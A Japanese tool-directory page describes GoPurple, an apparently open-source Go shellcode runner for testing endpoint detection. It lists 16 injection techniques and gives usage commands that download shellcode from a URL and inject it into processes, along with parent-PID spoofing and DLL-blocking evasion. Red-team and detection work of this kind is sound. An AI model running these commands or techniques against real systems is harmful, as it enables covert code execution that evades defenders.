Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GoPurple — エンドポイントセキュリティソリューションの検出能力を評価するためのさまざまな手法で構成される、また別のシェルコードランナー | Kitploit
ツール/GitHubGitHub/sh4hin/gopurple
防御ツールペイロード生成エクスプロイトIDS/IPS回避シェルコードペネトレーションテスト学習と教育レッドチーミングペイロード開発
GitHubsh4hin/gopurple

GoPurple

エンドポイントセキュリティソリューションの検出能力を評価するためのさまざまな手法で構成される、また別のシェルコードランナー

リポジトリを見る
49671115年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GoPurple

このプロジェクトは、さまざまなシェルコードインジェクション手法を簡潔にまとめたもので、エンドポイント検出評価のプロセスを効率化することを目的としています。また、自分自身にGolangの世界に飛び込むという挑戦も含まれています。

インストール

1 - go のインストールが必要です。

2 - プロジェクトのディレクトリからアプリケーションをビルドします: go build。ビルドシステムがWindowsでない場合は、GOOS=windows を設定してください。

root@kitploit:~
  _____                              _
  / ____|                            | |
 | |  __  ___  _ __  _   _ _ __ _ __ | | ___
 | | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
 | |__| | (_) | |_) | |_| | |  | |_) | |  __/
  \_____|\___/| .__/ \__,_|_|  | .__/|_|\___|
              | |              | |
              |_|              |_|   by @s3cdev

 -a string
        プログラムのコマンドライン引数
  -b string
        DLLブロックモード (QueueUserAPCの場合: nonms/onlystore)
  -p int
        シェルコードを注入するプロセスID
  -prog string
        注入先のプログラム
  -t string
        使用するシェルコードインジェクション手法:
         1: CreateFiber
         2: syscall
         3: CreateThreadNative
         4: CreateProcess
         5: EtwpCreateEtwThread
         6: CreateRemoteThread
         7: RtlCreateUserThread
         8: CreateThread
         9: CreateRemoteThreadNative
         10: CreateProcessWithPipe
         11: QueueUserAPC
         12: CreateThreadpoolWait
         13: BananaPhone
         14: EnumerateLoadedModules
         15: EnumChildWindows
         16: EnumPageFilesW
  -u string
        シェルコードをホストしているURL

使用例:

シェルコードを生成する必要があります。これは msfvenom や shad0w などのツールを使用して行えます。次に、リモートマシンにダウンロードして実行できるようにシェルコードをホストする必要があります。 わかりやすくするために、以下のデモではツールのさまざまな使用方法を示しています。

1 - BananaPhone メソッド + Shad0w シェルコードジェネレーターを使用したシェルコードインジェクション

2 - QueueUserAPC テクニック + Shad0w シェルコードジェネレーター + 親IDの偽装(親IDにexplorerを使用)+ シェルコード(calc)を含む偽装された親によるプロセス起動 + プロセスを未署名DLLフックから保護(Microsoft署名済みDLLのみがプロセスにフック可能)

3 - CreateFiber + msfvenom シェルコードジェネレーターを使用したシェルコードインジェクション

使用方法:

root@kitploit:~
1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)

2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)

3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)

4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)

5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)

6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)

7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)

8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)

9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)

10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (例:C:\Windows\System32\WindowsPowerShell\v1.0) と processargument (例:Get-Process)  (CreateProcessWithPipe)

11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore)  (QueueUserAPC)

nonms = Microsoftによって署名されたDLLのみがプロセスにフック可能

onlystore = Microsoft Storeアプリケーションのプロセスのみがプロセスにフック可能

12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)

13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)

14-  gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)

15-  gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)

16-  gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)

謝辞:

すべての功績は、彼らの素晴らしい研究、ツール、そしてインスピレーションを提供してくれた以下の方々に帰属します。

  • ne0nd0g: このプロジェクトの大部分はgo-shellcodeから借用されています。

  • spotheplanet: ブログ記事 が、この手法をGolangに移植するきっかけを与えてくれました。

  • _d00mfist: GolangにおけるQueueUserAPC手法の素晴らしい実装。

  • c__sto: BananaPhone手法。

  • batsec: 素晴らしいshad0w。

  • chiragsavla94: ProcessInjection からインスピレーションを得ました。

  • S4R1N: 新しい代替コード実行手法の紹介について。

brimston3 のサポートと貢献に感謝します。

参考文献

(https://github.com/Ne0nd0g/go-shellcode)

(https://www.ired.team/)

(https://github.com/D00MFist/Go4aRun)

(https://github.com/BishopFox/sliver)

(https://posts.specterops.io/going-4-a-run-eb263838b944)

(https://github.com/C-Sto/BananaPhone)

(https://blog.xpnsec.com/protecting-your-malware)

(https://github.com/3xpl01tc0d3r/ProcessInjection)

(https://github.com/S4R1N/AlternativeShellcodeExec)

今後の計画

  • さらに多くの手法の追加
  • より構造化されたコード

変更履歴

[1.0.3] - 2021-03-28

追加

  • EnumPageFilesW 手法

[1.0.2] - 2021-03-25

追加

  • EnumChildWindows 手法

[1.0.0] - 2021-03-22

追加

  • EnumerateLoadedModules 手法

法的免責事項

このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにGoPurpleを使用してターゲットを攻撃することは違法です。エンドユーザーは、該当するすべての地域、州、連邦法を遵守する責任を負います。開発者は一切の責任を負わず、このプログラムの誤用や損害に対して責任を負いません。

ツールをダウンロード